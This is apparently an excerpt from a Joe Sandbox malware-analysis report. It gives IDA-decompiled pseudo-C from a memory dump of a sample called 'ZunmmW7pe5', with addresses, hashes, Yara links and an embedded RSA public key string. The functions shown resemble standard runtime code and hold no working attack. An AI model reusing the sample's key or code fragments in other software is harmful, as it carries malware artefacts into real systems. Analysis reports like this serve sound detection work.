				intOrPtr* _t181;
				void* _t183;
				void* _t184;
				void* _t186;
				void* _t191;
				void* _t193;

				_t178 = __rsi;
				_t161 = __rax;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t184 = _t183 - 0x30;
				_t66 =  *((char*)(__rcx + 0x41));
				r15d = 1;
				_t124 = _t66 - 0x64;
				if (_t124 > 0) goto 0xe373db7f;
				if (_t124 == 0) goto 0xe373dbf0;
				if (_t66 == 0x41) goto 0xe373dc03;
				if (_t66 == 0x43) goto 0xe373db69;
				if (_t66 - 0x44 <= 0) goto 0xe373dc0c;
				if (_t66 - 0x47 <= 0) goto 0xe373dc03;
				if (_t66 == 0x53) goto 0xe373dbac;
				if (_t66 == 0x58) goto 0xe373dbc1;
				if (_t66 == 0x5a) goto 0xe373db75;
				if (_t66 == 0x61) goto 0xe373dc03;
				if (_t66 != 0x63) goto 0xe373dc0c;
				E00007FF77FF7E373E010(_t66 - 0x63, __rcx, __rcx);
				goto 0xe373dc08;
				_t68 = E00007FF77FF7E373DD74(__rcx, __rcx, __rsi);
				goto 0xe373dc08;
				if (_t68 - 0x67 <= 0) goto 0xe373dc03;
				if (_t68 == 0x69) goto 0xe373dbf0;
				if (_t68 == 0x6e) goto 0xe373dbe9;
				if (_t68 == 0x6f) goto 0xe373dbcb;
				if (_t68 == 0x70) goto 0xe373dbb3;
				if (_t68 == 0x73) goto 0xe373dbac;
				if (_t68 == 0x75) goto 0xe373dbf4;
				if (_t68 != 0x78) goto 0xe373dc0c;
				goto 0xe373dbf9;
				E00007FF77FF7E373E340(__rcx, __rcx, _t178);
				goto 0xe373dc08;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xe373dbfc;
				_t104 =  *(__rcx + 0x30);
				if ((r15b & _t104 >> 0x00000005) == 0) goto 0xe373dbdf;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t104;
				goto 0xe373dbf9;
				E00007FF77FF7E373E264(__rcx, __rcx, _t173, _t178);
				goto 0xe373dc08;
				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF77FF7E373E0C4(0xa, __rcx, _t186, _t191);
				goto 0xe373dc08;
				if (E00007FF77FF7E373DDF4(_t118, _t161, __rcx, __rcx, _t178, __rbp, _t186) != 0) goto 0xe373dc13;
				goto 0xe373dd58;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xe373dd55;
				_t113 =  *(__rcx + 0x30);
				_a8 = 0;
				_a10 = 0;
				if ((r15b & 0) == 0) goto 0xe373dc65;
				if ((r15b & 0) == 0) goto 0xe373dc48;
				_a8 = 0x2d;
				goto 0xe373dc62;
				if ((r15b & _t113) == 0) goto 0xe373dc54;
				_a8 = 0x2b;
				goto 0xe373dc62;
				if ((r15b & 0) == 0) goto 0xe373dc65;
				_a8 = 0x20;
				_t175 = _t193;
				_t105 =  *((intOrPtr*)(__rcx + 0x41));
				if (0 != 0) goto 0xe373dc7e;
				if ((r15b & 0) == 0) goto 0xe373dc7e;
				r8b = r15b;
				goto 0xe373dc81;
				r8b = 0;
				if (r8b != 0) goto 0xe373dc92;
				if (0 == 0) goto 0xe373dcbc;
				 *((char*)(_t184 + _t175 + 0x50)) = 0x30;
				if (_t105 == 0x58) goto 0xe373dca8;
				if (_t105 == 0x41) goto 0xe373dca8;
				goto 0xe373dcab;
				asm("sbb al, al");
				 *((char*)(_t184 + _t175 + _t193 + 0x50)) = ( ~r15b & 0x000000e0) + 0x78;
				_t122 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t113 & 0x0000000c) != 0) goto 0xe373dcde;
				r8d = _t122;
				E00007FF77FF7E373CBF4(( ~r15b & 0x000000e0) + 0x78, 0x20, __rcx, __rcx + 0x468, __rcx + 0x28);
				_t181 = __rcx + 0x28;
				_v40 =  *((intOrPtr*)(__rcx + 0x10));
				r8d = 0;
				E00007FF77FF7E373E704(_t122, _t123, __rcx, __rcx + 0x468, _t175 + _t193 + _t193, _t178, _t181, _t181);
				_t106 =  *(__rcx + 0x30);
				if ((r15b & _t106 >> 0x00000003) == 0) goto 0xe373dd2a;
				if ((r15b & _t106 >> 0x00000002) != 0) goto 0xe373dd2a;
				r8d = _t122;
				E00007FF77FF7E373CBF4(_t106 >> 3, 0x30, __rcx, __rcx + 0x468, _t181);
				E00007FF77FF7E373E534(__rcx, __rcx, _t178);
				if ( *_t181 < 0) goto 0xe373dd55;
				if ((r15b &  *(__rcx + 0x30) >> 0x00000002) == 0) goto 0xe373dd55;
				r8d = _t122;
				E00007FF77FF7E373CBF4( *(__rcx + 0x30) >> 2, 0x20, __rcx, __rcx + 0x468, _t181);
				return r15b;
			}

0x7ff7e373daf8
0x7ff7e373daf8
0x7ff7e373daf8
0x7ff7e373dafd
0x7ff7e373db02
0x7ff7e373db0c
0x7ff7e373db10
0x7ff7e373db17
0x7ff7e373db1d
0x7ff7e373db20
0x7ff7e373db22
0x7ff7e373db2b
0x7ff7e373db34
0x7ff7e373db39
0x7ff7e373db42
0x7ff7e373db4b
0x7ff7e373db50
0x7ff7e373db55
0x7ff7e373db5a
0x7ff7e373db63
0x7ff7e373db6b
0x7ff7e373db70
0x7ff7e373db75
0x7ff7e373db7a
0x7ff7e373db82
0x7ff7e373db87
0x7ff7e373db8c
0x7ff7e373db91
0x7ff7e373db96
0x7ff7e373db9b
0x7ff7e373dba0
0x7ff7e373dba5
0x7ff7e373dbaa
0x7ff7e373dbac
0x7ff7e373dbb1
0x7ff7e373dbb3
0x7ff7e373dbba
0x7ff7e373dbc1
0x7ff7e373dbc9
0x7ff7e373dbcb
0x7ff7e373dbd6
0x7ff7e373dbd8
0x7ff7e373dbdc
0x7ff7e373dbe7
0x7ff7e373dbe9
0x7ff7e373dbee
0x7ff7e373dbf0
0x7ff7e373dbf9
0x7ff7e373dbfc
0x7ff7e373dc01
0x7ff7e373dc0a
0x7ff7e373dc0e
0x7ff7e373dc17
0x7ff7e373dc1d
0x7ff7e373dc22
0x7ff7e373dc29
0x7ff7e373dc35
0x7ff7e373dc3f
0x7ff7e373dc41
0x7ff7e373dc46
0x7ff7e373dc4b
0x7ff7e373dc4d
0x7ff7e373dc52
0x7ff7e373dc5b
0x7ff7e373dc5d
0x7ff7e373dc62
0x7ff7e373dc65
0x7ff7e373dc6d
0x7ff7e373dc77
0x7ff7e373dc79
0x7ff7e373dc7c
0x7ff7e373dc7e
0x7ff7e373dc8c
0x7ff7e373dc90
0x7ff7e373dc92
0x7ff7e373dc9d
0x7ff7e373dca2
0x7ff7e373dca6
0x7ff7e373dcad
0x7ff7e373dcb5
0x7ff7e373dcc2
0x7ff7e373dcc7
0x7ff7e373dccd
0x7ff7e373dcd9
0x7ff7e373dce2
0x7ff7e373dced
0x7ff7e373dcfd
0x7ff7e373dd00
0x7ff7e373dd05
0x7ff7e373dd10
0x7ff7e373dd18
0x7ff7e373dd1d
0x7ff7e373dd25
0x7ff7e373dd2f
0x7ff7e373dd38
0x7ff7e373dd43
0x7ff7e373dd48
0x7ff7e373dd50
0x7ff7e373dd70

Strings

0, xrefs: 00007FF7E373DC92

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 4a18533a4fdd016f55200c0ad7bd81a7841e0935f13e7f784b16e1e3cec5722d
Instruction ID: 8c8bf878638c97fe899b026dfb303ed4054d5caa8e9d92ce2e8c023dca3da2ee
Opcode Fuzzy Hash: 4a18533a4fdd016f55200c0ad7bd81a7841e0935f13e7f784b16e1e3cec5722d
Instruction Fuzzy Hash: 5971F711A2C2824AEAE4AA1948C037FFFD0AF49744F940533DD49B7695CF7DE8658B23

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373D87C Relevance: 1.4, Strings: 1, Instructions: 199
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E00007FF77FF7E373D87C(void* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, char _a8, char _a10, long long _a16, long long _a24, long long _a32) {
				long long _v40;
				void* __rdi;
				char _t66;
				void* _t68;
				unsigned int _t104;
				intOrPtr _t105;
				unsigned int _t106;
				signed char _t113;
				void* _t118;
				void* _t122;
				void* _t123;
				void* _t160;
				void* _t172;
				void* _t174;
				intOrPtr* _t180;
				void* _t182;
				void* _t183;
				void* _t185;
				void* _t190;
				void* _t192;

				_t177 = __rsi;
				_t172 = __rdx;
				_t160 = __rax;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t183 = _t182 - 0x30;
				_t66 =  *((char*)(__rcx + 0x41));
				r15d = 1;
				_t123 = _t66 - 0x64;
				if (_t123 > 0) goto 0xe373d903;
				if (_t123 == 0) goto 0xe373d974;
				if (_t66 == 0x41) goto 0xe373d987;
				if (_t66 == 0x43) goto 0xe373d8ed;
				if (_t66 - 0x44 <= 0) goto 0xe373d990;
				if (_t66 - 0x47 <= 0) goto 0xe373d987;
				if (_t66 == 0x53) goto 0xe373d930;
				if (_t66 == 0x58) goto 0xe373d945;
				if (_t66 == 0x5a) goto 0xe373d8f9;
				if (_t66 == 0x61) goto 0xe373d987;
				if (_t66 != 0x63) goto 0xe373d990;
				E00007FF77FF7E373E010(_t66 - 0x63, __rcx, __rcx);
				goto 0xe373d98c;
				_t68 = E00007FF77FF7E373DD74(__rcx, __rcx, __rsi);
				goto 0xe373d98c;
				if (_t68 - 0x67 <= 0) goto 0xe373d987;
				if (_t68 == 0x69) goto 0xe373d974;
				if (_t68 == 0x6e) goto 0xe373d96d;
				if (_t68 == 0x6f) goto 0xe373d94f;
				if (_t68 == 0x70) goto 0xe373d937;
				if (_t68 == 0x73) goto 0xe373d930;
				if (_t68 == 0x75) goto 0xe373d978;
				if (_t68 != 0x78) goto 0xe373d990;
				goto 0xe373d97d;
				E00007FF77FF7E373E340(__rcx, __rcx, _t177);
				goto 0xe373d98c;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xe373d980;
				_t104 =  *(__rcx + 0x30);
				if ((r15b & _t104 >> 0x00000005) == 0) goto 0xe373d963;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t104;
				goto 0xe373d97d;
				E00007FF77FF7E373E264(__rcx, __rcx, _t172, _t177);
				goto 0xe373d98c;
				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF77FF7E373E0C4(0xa, __rcx, _t185, _t190);
				goto 0xe373d98c;
				if (E00007FF77FF7E373DDF4(_t118, _t160, __rcx, __rcx, _t177, __rbp, _t185) != 0) goto 0xe373d997;
				goto 0xe373dadc;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xe373dad9;
				_t113 =  *(__rcx + 0x30);
				_a8 = 0;
				_a10 = 0;
				if ((r15b & 0) == 0) goto 0xe373d9e9;
				if ((r15b & 0) == 0) goto 0xe373d9cc;
				_a8 = 0x2d;
				goto 0xe373d9e6;
				if ((r15b & _t113) == 0) goto 0xe373d9d8;
				_a8 = 0x2b;
				goto 0xe373d9e6;
				if ((r15b & 0) == 0) goto 0xe373d9e9;
				_a8 = 0x20;
				_t174 = _t192;
				_t105 =  *((intOrPtr*)(__rcx + 0x41));
				if (0 != 0) goto 0xe373da02;
				if ((r15b & 0) == 0) goto 0xe373da02;
				r8b = r15b;
				goto 0xe373da05;
				r8b = 0;
				if (r8b != 0) goto 0xe373da16;
				if (0 == 0) goto 0xe373da40;
				 *((char*)(_t183 + _t174 + 0x50)) = 0x30;
				if (_t105 == 0x58) goto 0xe373da2c;
				if (_t105 == 0x41) goto 0xe373da2c;
				goto 0xe373da2f;
				asm("sbb al, al");
				 *((char*)(_t183 + _t174 + _t192 + 0x50)) = ( ~r15b & 0x000000e0) + 0x78;
				_t122 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t113 & 0x0000000c) != 0) goto 0xe373da62;
				r8d = _t122;
				E00007FF77FF7E373CB70(0x20, __rcx, __rcx + 0x468, _t174 + _t192 + _t192, _t177, __rbp, __rcx + 0x28);
				_t180 = __rcx + 0x28;
				_v40 =  *((intOrPtr*)(__rcx + 0x10));
				r8d = 0;
				E00007FF77FF7E373E60C(__rcx, __rcx + 0x468,  &_a8, _t177, _t180, _t180);
				_t106 =  *(__rcx + 0x30);
				if ((r15b & _t106 >> 0x00000003) == 0) goto 0xe373daae;
				if ((r15b & _t106 >> 0x00000002) != 0) goto 0xe373daae;
				r8d = _t122;
				E00007FF77FF7E373CB70(0x30, __rcx, __rcx + 0x468, _t174 + _t192 + _t192, _t177, _t180, _t180);
				E00007FF77FF7E373E45C(__rcx, __rcx, _t177);
				if ( *_t180 < 0) goto 0xe373dad9;
				if ((r15b &  *(__rcx + 0x30) >> 0x00000002) == 0) goto 0xe373dad9;
				r8d = _t122;
				E00007FF77FF7E373CB70(0x20, __rcx, __rcx + 0x468, _t174 + _t192 + _t192, _t177, _t180, _t180);
				return r15b;
			}

0x7ff7e373d87c
0x7ff7e373d87c
0x7ff7e373d87c
0x7ff7e373d87c
0x7ff7e373d881
0x7ff7e373d886
0x7ff7e373d890
0x7ff7e373d894
0x7ff7e373d89b
0x7ff7e373d8a1
0x7ff7e373d8a4
0x7ff7e373d8a6
0x7ff7e373d8af
0x7ff7e373d8b8
0x7ff7e373d8bd
0x7ff7e373d8c6
0x7ff7e373d8cf
0x7ff7e373d8d4
0x7ff7e373d8d9
0x7ff7e373d8de
0x7ff7e373d8e7
0x7ff7e373d8ef
0x7ff7e373d8f4
0x7ff7e373d8f9
0x7ff7e373d8fe
0x7ff7e373d906
0x7ff7e373d90b
0x7ff7e373d910
0x7ff7e373d915
0x7ff7e373d91a
0x7ff7e373d91f
0x7ff7e373d924
0x7ff7e373d929
0x7ff7e373d92e
0x7ff7e373d930
0x7ff7e373d935
0x7ff7e373d937
0x7ff7e373d93e
0x7ff7e373d945
0x7ff7e373d94d
0x7ff7e373d94f
0x7ff7e373d95a
0x7ff7e373d95c
0x7ff7e373d960
0x7ff7e373d96b
0x7ff7e373d96d
0x7ff7e373d972
0x7ff7e373d974
0x7ff7e373d97d
0x7ff7e373d980
0x7ff7e373d985
0x7ff7e373d98e
0x7ff7e373d992
0x7ff7e373d99b
0x7ff7e373d9a1
0x7ff7e373d9a6
0x7ff7e373d9ad
0x7ff7e373d9b9
0x7ff7e373d9c3
0x7ff7e373d9c5
0x7ff7e373d9ca
0x7ff7e373d9cf
0x7ff7e373d9d1
0x7ff7e373d9d6
0x7ff7e373d9df
0x7ff7e373d9e1
0x7ff7e373d9e6
0x7ff7e373d9e9
0x7ff7e373d9f1
0x7ff7e373d9fb
0x7ff7e373d9fd
0x7ff7e373da00
0x7ff7e373da02
0x7ff7e373da10
0x7ff7e373da14
0x7ff7e373da16
0x7ff7e373da21
0x7ff7e373da26
0x7ff7e373da2a
0x7ff7e373da31
0x7ff7e373da39
0x7ff7e373da46
0x7ff7e373da4b
0x7ff7e373da51
0x7ff7e373da5d
0x7ff7e373da66
0x7ff7e373da71
0x7ff7e373da81
0x7ff7e373da84
0x7ff7e373da89
0x7ff7e373da94
0x7ff7e373da9c
0x7ff7e373daa1
0x7ff7e373daa9
0x7ff7e373dab3
0x7ff7e373dabc
0x7ff7e373dac7
0x7ff7e373dacc
0x7ff7e373dad4
0x7ff7e373daf4

Strings

0, xrefs: 00007FF7E373DA16

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: b6bcaeb7b4b22d9f4eb0de178960aea762ee2ecccd05a7b2ae286045369f52b3
Instruction ID: 4af3f43cdd96c31cf45f144b1dca569b56fa5fafb9383c6c8bb6daa4a01cf7a7
Opcode Fuzzy Hash: b6bcaeb7b4b22d9f4eb0de178960aea762ee2ecccd05a7b2ae286045369f52b3
Instruction Fuzzy Hash: D7711412A0C24246EBE4AA2959C037FFBD0DB49B44F940533DD48B7696CF3DE8658723

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E371C710 Relevance: 1.4, Strings: 1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E371C710(intOrPtr* __rcx, void* __rdx, void* __r8) {

				if (__rdx -  *__rcx - 1 >= 0) goto 0xe371c742;
				return 0x1ffffc4a0;
			}

0x7ff7e371c72e
0x7ff7e371c741

Strings

-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ, xrefs: 00007FF7E371C713

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ
API String ID: 0-2312826503
Opcode ID: 35b01efa5093d3f0d299917428e31a6b70a5eec810574a3ba4ebb3c585c8b283
Instruction ID: 0d705827144b53d343306f5e669912ee6c27591266bf9676b11da9359680f770
Opcode Fuzzy Hash: 35b01efa5093d3f0d299917428e31a6b70a5eec810574a3ba4ebb3c585c8b283
Instruction Fuzzy Hash: E2510AA3B08A5346EB456A79E8D03B9B790EF49B94F844132EE0D973D4EF7CD4618311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373F9AC Relevance: 1.4, Strings: 1, Instructions: 139
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF7E373F9AC(void* __eax, signed int __edx, long long __rbx, signed long long*** __rcx, long long __rdi, signed long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _t28;
				signed int _t56;
				void* _t58;
				void* _t69;
				signed long long _t70;
				void* _t75;
				signed int* _t81;
				signed long long _t83;
				signed long long _t85;
				signed long long _t86;
				signed long long _t102;
				signed long long _t103;
				signed long long _t105;
				signed long long _t111;
				signed long long _t113;
				void* _t122;
				signed long long _t125;
				signed long long _t126;
				signed long long _t127;
				signed long long* _t132;
				void* _t133;
				signed long long _t137;
				signed long long*** _t140;

				_t113 = __rsi;
				_t56 = __edx;
				_t69 = _t122;
				 *((long long*)(_t69 + 8)) = __rbx;
				 *((long long*)(_t69 + 0x10)) = __rbp;
				 *((long long*)(_t69 + 0x18)) = __rsi;
				 *((long long*)(_t69 + 0x20)) = __rdi;
				_push(_t133);
				_t70 =  *((intOrPtr*)(__rcx));
				_t140 = __rcx;
				_t81 =  *_t70;
				if (_t81 != 0) goto 0xe373f9e1;
				goto 0xe373fb67;
				_t125 =  *0xe3764018; // 0xf7df8d81ad38
				r12d = 0x40;
				_t118 =  *_t81 ^ _t125;
				asm("dec eax");
				_t83 = _t81[4] ^ _t125;
				asm("dec ecx");
				asm("dec eax");
				if ((_t81[2] ^ _t125) != _t83) goto 0xe373fae1;
				_t85 = _t83 - ( *_t81 ^ _t125) >> 3;
				_t108 =  >  ? _t70 : _t85;
				_t109 = ( >  ? _t70 : _t85) + _t85;
				_t110 =  ==  ? _t70 : ( >  ? _t70 : _t85) + _t85;
				if (( ==  ? _t70 : ( >  ? _t70 : _t85) + _t85) - _t85 < 0) goto 0xe373fa60;
				r8d = _t133 - 0x38;
				E00007FF77FF7E3745164(_t133 - 0x20, r8d & 0x0000003f, _t58, _t85, _t118,  ==  ? _t70 : ( >  ? _t70 : _t85) + _t85, __rsi, _t118, _t125);
				_t28 = E00007FF77FF7E373FEE4(_t70, _t118);
				if (_t70 != 0) goto 0xe373fa88;
				_t111 = _t85 + 4;
				r8d = 8;
				E00007FF77FF7E3745164(_t28, 0, _t58, _t85, _t118, _t111, _t113, _t118, _t125);
				_t137 = _t70;
				E00007FF77FF7E373FEE4(_t70, _t118);
				if (_t137 == 0) goto 0xe373f9d9;
				_t126 =  *0xe3764018; // 0xf7df8d81ad38
				_t132 = _t137 + _t85 * 8;
				_t86 = _t137 + _t111 * 8;
				asm("dec eax");
				_t75 =  >  ? _t113 : _t86 - _t132 + 7 >> 3;
				if (_t75 == 0) goto 0xe373fae1;
				 *_t132 = _t113 ^ _t126;
				if (_t113 + 1 != _t75) goto 0xe373facb;
				_t127 =  *0xe3764018; // 0xf7df8d81ad38
				asm("dec eax");
				 *_t132 =  *(_t140[1]) ^ _t127;
				_t102 =  *0xe3764018; // 0xf7df8d81ad38
				asm("dec eax");
				 *( *( *_t140)) = _t137 ^ _t102;
				_t103 =  *0xe3764018; // 0xf7df8d81ad38
				asm("dec ecx");
				( *( *_t140))[1] =  &(_t132[1]) ^ _t103;
				_t105 =  *0xe3764018; // 0xf7df8d81ad38
				r12d = r12d - (_t56 & 0x0000003f);
				asm("dec eax");
				( *( *_t140))[2] = _t86 ^ _t105;
				return 0;
			}

0x7ff7e373f9ac
0x7ff7e373f9ac
0x7ff7e373f9ac
0x7ff7e373f9af
0x7ff7e373f9b3
0x7ff7e373f9b7
0x7ff7e373f9bb
0x7ff7e373f9bf
0x7ff7e373f9c9
0x7ff7e373f9ce
0x7ff7e373f9d1
0x7ff7e373f9d7
0x7ff7e373f9dc
0x7ff7e373f9e1
0x7ff7e373f9e8
0x7ff7e373f9ff
0x7ff7e373fa05
0x7ff7e373fa08
0x7ff7e373fa0b
0x7ff7e373fa0e
0x7ff7e373fa14
0x7ff7e373fa22
0x7ff7e373fa2c
0x7ff7e373fa35
0x7ff7e373fa38
0x7ff7e373fa3f
0x7ff7e373fa41
0x7ff7e373fa4c
0x7ff7e373fa56
0x7ff7e373fa5e
0x7ff7e373fa60
0x7ff7e373fa64
0x7ff7e373fa70
0x7ff7e373fa77
0x7ff7e373fa7a
0x7ff7e373fa82
0x7ff7e373fa88
0x7ff7e373fa8f
0x7ff7e373fa96
0x7ff7e373faa5
0x7ff7e373fac2
0x7ff7e373fac9
0x7ff7e373face
0x7ff7e373fad8
0x7ff7e373fada
0x7ff7e373faf6
0x7ff7e373fb00
0x7ff7e373fb03
0x7ff7e373fb16
0x7ff7e373fb1f
0x7ff7e373fb25
0x7ff7e373fb36
0x7ff7e373fb3f
0x7ff7e373fb43
0x7ff7e373fb4f
0x7ff7e373fb58
0x7ff7e373fb63
0x7ff7e373fb85

Strings

@, xrefs: 00007FF7E373F9E8

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 90dfd6fcef44be32b7f760cca802e17ba234725d7eeab839fa25640614e75596
Instruction ID: 7060ed04081a861f8b4e94a8cedcc8db8ca7ab9abdcc9941f637021d5b29b307
Opcode Fuzzy Hash: 90dfd6fcef44be32b7f760cca802e17ba234725d7eeab839fa25640614e75596
Instruction Fuzzy Hash: F141C472714A5486EF84EF2AD4942A9B7A1AB4CFD0B899033DE0D97754EE3CD595C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E372A450 Relevance: 1.4, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00007FF77FF7E372A450(long long __rbx, void* __rcx, void* __rdx, long long __rbp, void* __r8, long long __r9, long long __r13, long long _a8, void* _a16, void* _a24, intOrPtr _a40, char _a48, long long* _a56) {
				long long _v56;
				void* __rdi;
				void* __rsi;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t55;
				void* _t57;
				long long* _t58;
				unsigned long long _t61;
				void* _t63;
				void* _t64;
				char* _t65;
				void* _t66;
				char* _t67;
				long long _t76;
				void* _t90;
				void* _t92;
				signed long long _t94;
				signed long long _t95;
				void* _t96;
				long long _t99;
				intOrPtr _t100;
				void* _t103;
				void* _t117;
				void* _t120;
				intOrPtr _t125;
				void* _t128;
				void* _t131;
				void* _t132;

				_t55 = _t103;
				 *((long long*)(_t55 + 0x10)) = __rbx;
				 *((long long*)(_t55 + 0x18)) = __rbp;
				_push(_t94);
				_t99 = __r9;
				 *((long long*)(_t55 - 0x38)) = __r9;
				_t132 = __r8;
				_t90 = __rcx;
				r12d = 0;
				E00007FF77FF7E3735480(__rbx, __rcx, __rdx, _t55 + 0x30, __r8, _t120, _t131);
				_t95 = _t94 | 0xffffffff;
				_t117 = _t95 + 1;
				if ( *((intOrPtr*)(__rcx + _t117)) != r12b) goto 0xe372a491;
				_t57 = _t95 + 1;
				if ( *((intOrPtr*)(__rdx + _t57)) != r12b) goto 0xe372a4a0;
				_t61 = _a48;
				_t76 = (_t61 >> 6) + 1 + _t117 + _t57 + _t61;
				if (_t76 - 0x1000 <= 0) goto 0xe372a4e2;
				_t58 = _a56;
				 *_t58 = _t76;
